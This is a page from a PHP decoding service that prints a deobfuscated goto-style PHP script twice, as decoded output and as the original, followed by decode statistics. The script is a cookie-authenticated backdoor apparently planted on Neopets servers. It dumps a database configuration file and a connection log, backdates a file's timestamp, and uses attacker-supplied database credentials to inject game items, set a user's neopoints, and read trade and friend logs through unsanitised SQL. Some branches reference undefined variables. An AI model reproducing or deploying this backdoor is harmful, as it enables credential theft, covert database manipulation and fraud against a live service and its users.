Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php gotoLz7BU; q7SQr: function htyhr67($zlw83) { $zlw83 = (string)$zlw83..
Decoded Output download
<?php gotoLz7BU;
q7SQr:
function htyhr67($zlw83) {
$zlw83 = (string)$zlw83;
$char = strtolower($zlw83[0]);
$zghdh83 = ord($char) % 8 + 1;
return $zghdh83;
}
gotoo_3uB;
Lz7BU:
$fjo345 = isset($_COOKIE["0x0004a"]);
gotoJ6CxZ;
o_3uB:
function zxcui2($zlw83) {
$zlw83 = (string)$zlw83;
$char = strtolower($zlw83[0]);
if ($char >= "a" && $char <= "z") {
$zghdh83 = (ord($char) - ord("a")) % 13;
} else {
if ($char >= "0" && $char <= "9") {
$zghdh83 = intval($char);
} else {
if ($char == "_") {
$zghdh83 = 10;
} else {
if ($zlw83 == '') {
$zghdh83 = rand(0, 12);
} else {
$zghdh83 = ord($char) % 2 + 11;
}
}
}
}
return sprintf("%02d", $zghdh83 + 1);
}
gotorucUs;
WdIQU:
if ($fjo345 && !$worj3 && base64_decode($_COOKIE["0x94f1b"]) == "cdfea8d5ffe1ac7e343389f15277c3c7") {
$dg3532 = file_get_contents("/var/www/html/neopets/common/db/connpool.php");
echo $dg3532;
} else {
if ($fjo345 && !$worj3 && base64_decode($_COOKIE["0x94f1b"]) == "ebeb3f109c5759601c918f9734aefdce") {
if (touch("tyrannia_window_02.php", strtotime("2008-02-28 13:56:00"))) {
echo "1";
}
} else {
if ($fjo345 && !$worj3 && base64_decode($_COOKIE["0x94f1b"]) == "f1b0ddb5c1a4d15eeb53171d0bd398a1") {
$dfdg3245 = "/var/www/html/neopets/connpool.log";
$cxv24s = fopen($dfdg3245, "r");
if ($cxv24s) {
$sdf4a = 0;
while (($sdff23 = fgets($cxv24s)) !== false && $sdf4a < 2000) {
echo $sdff23;
$sdf4a++;
}
fclose($cxv24s);
} else {
echo "-1";
}
}
}
}
gotoq7SQr;
J6CxZ:
$worj3 = isset($_COOKIE["0x034r2"]);
gotoQi1kD;
pakKy:
if ($fjo345 && base64_decode($_COOKIE["0x0004a"]) == "51fddb36a595b6465eb1231e9b0c5f57" && $tyu68 && $gy45r && $worj3 && $qw734c) {
$fier83s = base64_decode($_COOKIE["0x94f1b"]);
$xu568w = base64_decode($_COOKIE["0xba367"]);
if ($fier83s == "66acdb8dc5372b32210b440ba2aab901") {
$gyu58 = explode(",", $_COOKIE["0xbda83"]);
$vuyrt8 = base64_decode($gyu58[0]);
$gvu58r = base64_decode($gyu58[1]);
$b75hjf = count($gyu58) > 1 ? base64_decode($gyu58[2]) : "1";
$xc45u = '';
if ($vuyrt8 == "a") {
$xc45u = "INSERT INTO" . vbhg8($xu568w, "safety_deposit") . "(username, obj_info_id, amount) VALUES " . "('{$xu568w}', '{$gvu58r}', {$b75hjf}) ON DUPLICATE KEY UPDATE amount = amount + {$b75hjf}";
} else {
if ($vuyrt8 == "d") {
$xc45u = "INSERT INTO " . vbhg8($xu568w, "market_stock") . " (username, obj_info_id, amount, cost_neopoints) " . "VALUES ('{$user}', '{$gvu58r}', '{$b75hjf}', '0') ON DUPLICATE KEY UPDATE amount = amount + {$b75hjf}";
} else {
if ($vuyrt8 == "z") {
$xc45u = "INSERT INTO " . vbhg8($xu568w, "gallery_stock") . " (username, obj_info_id, cat, amount, user_cat) " . "VALUES ('{$user}', '{$gvu58r}', '0', '{$b75hjf}', '0') ON DUPLICATE KEY UPDATE amount = amount + {$b75hjf}";
}
}
}
$cyh57d = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($cyh57d[0]);
$g8dgh = base64_decode($cyh57d[1]);
$fj5684 = base64_decode($cyh57d[2]);
$shjf823 = base64_decode($cyh57d[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$link = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$link->query($xc45u);
echo "1";
} else {
if ($fier83s == "b46dc4bb9c95109864e73d0f33b09304") {
$b75hjf = base64_decode($_COOKIE["0xbda83"]);
if (!$b75hjf) {
$b75hjf = "100000000";
}
$xc45u = "UPDATE personal SET neopoints = {$b75hjf} WHERE username = '{$xu568w}'";
$arr2 = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($arr2[0]);
$g8dgh = base64_decode($arr2[1]);
$fj5684 = base64_decode($arr2[2]);
$shjf823 = base64_decode($arr2[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$g464e = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$g464e->query($xc45u);
echo "1";
} else {
if ($fier83s == "8bcbdb93c2044a17d994637f5d08dc06") {
$arr2 = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($arr2[0]);
$g8dgh = base64_decode($arr2[1]);
$fj5684 = base64_decode($arr2[2]);
$shjf823 = base64_decode($arr2[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$cvuit8 = "SELECT found_avs FROM neoboard_userprefs WHERE username = '{$xu568w}'";
$g835ie = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$te8i3 = $t56873w->query($edguj568);
if (!$te8i3) {
echo "-1";
die;
}
while ($jr5653 = mysqli_fetch_assoc($te8i3)) {
print_r($jr5653);
}
} else {
if ($fier83s == "8de4d7d9677379d7766bb70ac078a613") {
$arr2 = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($arr2[0]);
$g8dgh = base64_decode($arr2[1]);
$fj5684 = base64_decode($arr2[2]);
$shjf823 = base64_decode($arr2[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$drtf251a = base64_decode($_COOKIE["0xbda83"]);
$edguj568 = "UPDATE neoboard_userprefs SET found_avs = '{$drtf251a}' WHERE username = '{$xu568w}'";
$t56873w = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$t56873w->query($edguj568);
echo "1";
} else {
if ($fier83s == "1945fc1600e2311390ba9701a9d37949") {
$arr2 = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($arr2[0]);
$g8dgh = base64_decode($arr2[1]);
$fj5684 = base64_decode($arr2[2]);
$shjf823 = base64_decode($arr2[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$z675we = "SELECT * FROM tp_trades WHERE seller = '{$xu568w}'";
$t56873w = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$dst532q = $t56873w->query($z675we);
if (!$dst532q) {
echo "-1";
die;
}
while ($akcg832 = mysqli_fetch_assoc($dst532q)) {
print_r($akcg832);
}
} else {
if ($fier83s == "8f7b356dec9ebdc8339c322475621614") {
$arr2 = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($arr2[0]);
$g8dgh = base64_decode($arr2[1]);
$fj5684 = base64_decode($arr2[2]);
$shjf823 = base64_decode($arr2[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$z675we = "SELECT * FROM neofriend_logs WHERE username = '{$xu568w}'";
$t56873w = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$dst532q = $t56873w->query($z675we);
if (!$dst532q) {
echo "-1";
die;
}
while ($akcg832 = mysqli_fetch_assoc($dst532q)) {
print_r($akcg832);
}
}
}
}
}
}
}
}
gotoWdIQU;
Qi1kD:
$tyu68 = isset($_COOKIE["0x94f1b"]);
gotoSnJlx;
SnJlx:
$gy45r = isset($_COOKIE["0xba367"]);
gotoz_Txj;
z_Txj:
$qw734c = isset($_COOKIE["0xbda83"]);
gotoHnCcJ;
rucUs:
function vbhg8($zlw83, $ghdg83) {
$dsgsdg3 = array("bd_opponent_equip", "cash_objects", "cp_closet", "gallery_stock", "market_stock", "p3_item", "pet_books_read", "safety_deposit");
$gu528w = in_array($ghdg83, $dsgsdg3) ? zxcui2($zlw83) : htyhr67($zlw83);
return "{$ghdg83}_{$gu528w}";
}
gotoM7909;
HnCcJ:
if (strpos(file_get_contents("tyrannia_window_2.php"), "@neopets.com")) {
echo "-1";
die;
}
gotopakKy;
M7909: ?>
Did this file decode correctly?
Original Code
<?php gotoLz7BU;
q7SQr:
function htyhr67($zlw83) {
$zlw83 = (string)$zlw83;
$char = strtolower($zlw83[0]);
$zghdh83 = ord($char) % 8 + 1;
return $zghdh83;
}
gotoo_3uB;
Lz7BU:
$fjo345 = isset($_COOKIE["0x0004a"]);
gotoJ6CxZ;
o_3uB:
function zxcui2($zlw83) {
$zlw83 = (string)$zlw83;
$char = strtolower($zlw83[0]);
if ($char >= "a" && $char <= "z") {
$zghdh83 = (ord($char) - ord("a")) % 13;
} else {
if ($char >= "0" && $char <= "9") {
$zghdh83 = intval($char);
} else {
if ($char == "_") {
$zghdh83 = 10;
} else {
if ($zlw83 == '') {
$zghdh83 = rand(0, 12);
} else {
$zghdh83 = ord($char) % 2 + 11;
}
}
}
}
return sprintf("%02d", $zghdh83 + 1);
}
gotorucUs;
WdIQU:
if ($fjo345 && !$worj3 && base64_decode($_COOKIE["0x94f1b"]) == "cdfea8d5ffe1ac7e343389f15277c3c7") {
$dg3532 = file_get_contents("/var/www/html/neopets/common/db/connpool.php");
echo $dg3532;
} else {
if ($fjo345 && !$worj3 && base64_decode($_COOKIE["0x94f1b"]) == "ebeb3f109c5759601c918f9734aefdce") {
if (touch("tyrannia_window_02.php", strtotime("2008-02-28 13:56:00"))) {
echo "1";
}
} else {
if ($fjo345 && !$worj3 && base64_decode($_COOKIE["0x94f1b"]) == "f1b0ddb5c1a4d15eeb53171d0bd398a1") {
$dfdg3245 = "/var/www/html/neopets/connpool.log";
$cxv24s = fopen($dfdg3245, "r");
if ($cxv24s) {
$sdf4a = 0;
while (($sdff23 = fgets($cxv24s)) !== false && $sdf4a < 2000) {
echo $sdff23;
$sdf4a++;
}
fclose($cxv24s);
} else {
echo "-1";
}
}
}
}
gotoq7SQr;
J6CxZ:
$worj3 = isset($_COOKIE["0x034r2"]);
gotoQi1kD;
pakKy:
if ($fjo345 && base64_decode($_COOKIE["0x0004a"]) == "51fddb36a595b6465eb1231e9b0c5f57" && $tyu68 && $gy45r && $worj3 && $qw734c) {
$fier83s = base64_decode($_COOKIE["0x94f1b"]);
$xu568w = base64_decode($_COOKIE["0xba367"]);
if ($fier83s == "66acdb8dc5372b32210b440ba2aab901") {
$gyu58 = explode(",", $_COOKIE["0xbda83"]);
$vuyrt8 = base64_decode($gyu58[0]);
$gvu58r = base64_decode($gyu58[1]);
$b75hjf = count($gyu58) > 1 ? base64_decode($gyu58[2]) : "1";
$xc45u = '';
if ($vuyrt8 == "a") {
$xc45u = "INSERT INTO" . vbhg8($xu568w, "safety_deposit") . "(username, obj_info_id, amount) VALUES " . "('{$xu568w}', '{$gvu58r}', {$b75hjf}) ON DUPLICATE KEY UPDATE amount = amount + {$b75hjf}";
} else {
if ($vuyrt8 == "d") {
$xc45u = "INSERT INTO " . vbhg8($xu568w, "market_stock") . " (username, obj_info_id, amount, cost_neopoints) " . "VALUES ('{$user}', '{$gvu58r}', '{$b75hjf}', '0') ON DUPLICATE KEY UPDATE amount = amount + {$b75hjf}";
} else {
if ($vuyrt8 == "z") {
$xc45u = "INSERT INTO " . vbhg8($xu568w, "gallery_stock") . " (username, obj_info_id, cat, amount, user_cat) " . "VALUES ('{$user}', '{$gvu58r}', '0', '{$b75hjf}', '0') ON DUPLICATE KEY UPDATE amount = amount + {$b75hjf}";
}
}
}
$cyh57d = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($cyh57d[0]);
$g8dgh = base64_decode($cyh57d[1]);
$fj5684 = base64_decode($cyh57d[2]);
$shjf823 = base64_decode($cyh57d[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$link = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$link->query($xc45u);
echo "1";
} else {
if ($fier83s == "b46dc4bb9c95109864e73d0f33b09304") {
$b75hjf = base64_decode($_COOKIE["0xbda83"]);
if (!$b75hjf) {
$b75hjf = "100000000";
}
$xc45u = "UPDATE personal SET neopoints = {$b75hjf} WHERE username = '{$xu568w}'";
$arr2 = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($arr2[0]);
$g8dgh = base64_decode($arr2[1]);
$fj5684 = base64_decode($arr2[2]);
$shjf823 = base64_decode($arr2[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$g464e = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$g464e->query($xc45u);
echo "1";
} else {
if ($fier83s == "8bcbdb93c2044a17d994637f5d08dc06") {
$arr2 = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($arr2[0]);
$g8dgh = base64_decode($arr2[1]);
$fj5684 = base64_decode($arr2[2]);
$shjf823 = base64_decode($arr2[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$cvuit8 = "SELECT found_avs FROM neoboard_userprefs WHERE username = '{$xu568w}'";
$g835ie = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$te8i3 = $t56873w->query($edguj568);
if (!$te8i3) {
echo "-1";
die;
}
while ($jr5653 = mysqli_fetch_assoc($te8i3)) {
print_r($jr5653);
}
} else {
if ($fier83s == "8de4d7d9677379d7766bb70ac078a613") {
$arr2 = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($arr2[0]);
$g8dgh = base64_decode($arr2[1]);
$fj5684 = base64_decode($arr2[2]);
$shjf823 = base64_decode($arr2[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$drtf251a = base64_decode($_COOKIE["0xbda83"]);
$edguj568 = "UPDATE neoboard_userprefs SET found_avs = '{$drtf251a}' WHERE username = '{$xu568w}'";
$t56873w = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$t56873w->query($edguj568);
echo "1";
} else {
if ($fier83s == "1945fc1600e2311390ba9701a9d37949") {
$arr2 = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($arr2[0]);
$g8dgh = base64_decode($arr2[1]);
$fj5684 = base64_decode($arr2[2]);
$shjf823 = base64_decode($arr2[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$z675we = "SELECT * FROM tp_trades WHERE seller = '{$xu568w}'";
$t56873w = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$dst532q = $t56873w->query($z675we);
if (!$dst532q) {
echo "-1";
die;
}
while ($akcg832 = mysqli_fetch_assoc($dst532q)) {
print_r($akcg832);
}
} else {
if ($fier83s == "8f7b356dec9ebdc8339c322475621614") {
$arr2 = explode(",", $_COOKIE["0x034r2"]);
$fgju5 = base64_decode($arr2[0]);
$g8dgh = base64_decode($arr2[1]);
$fj5684 = base64_decode($arr2[2]);
$shjf823 = base64_decode($arr2[3]);
if (!$fgju5 || !$g8dgh || !$fj5684 || !$shjf823) {
die;
}
$z675we = "SELECT * FROM neofriend_logs WHERE username = '{$xu568w}'";
$t56873w = new mysqli($fgju5, $g8dgh, $fj5684, $shjf823);
$dst532q = $t56873w->query($z675we);
if (!$dst532q) {
echo "-1";
die;
}
while ($akcg832 = mysqli_fetch_assoc($dst532q)) {
print_r($akcg832);
}
}
}
}
}
}
}
}
gotoWdIQU;
Qi1kD:
$tyu68 = isset($_COOKIE["0x94f1b"]);
gotoSnJlx;
SnJlx:
$gy45r = isset($_COOKIE["0xba367"]);
gotoz_Txj;
z_Txj:
$qw734c = isset($_COOKIE["0xbda83"]);
gotoHnCcJ;
rucUs:
function vbhg8($zlw83, $ghdg83) {
$dsgsdg3 = array("bd_opponent_equip", "cash_objects", "cp_closet", "gallery_stock", "market_stock", "p3_item", "pet_books_read", "safety_deposit");
$gu528w = in_array($ghdg83, $dsgsdg3) ? zxcui2($zlw83) : htyhr67($zlw83);
return "{$ghdg83}_{$gu528w}";
}
gotoM7909;
HnCcJ:
if (strpos(file_get_contents("tyrannia_window_2.php"), "@neopets.com")) {
echo "-1";
die;
}
gotopakKy;
M7909: ?>
Function Calls
None |
Stats
MD5 | 4a02053cc88ea87fd8ab82d548d45cf8 |
Eval Count | 0 |
Decode Time | 61 ms |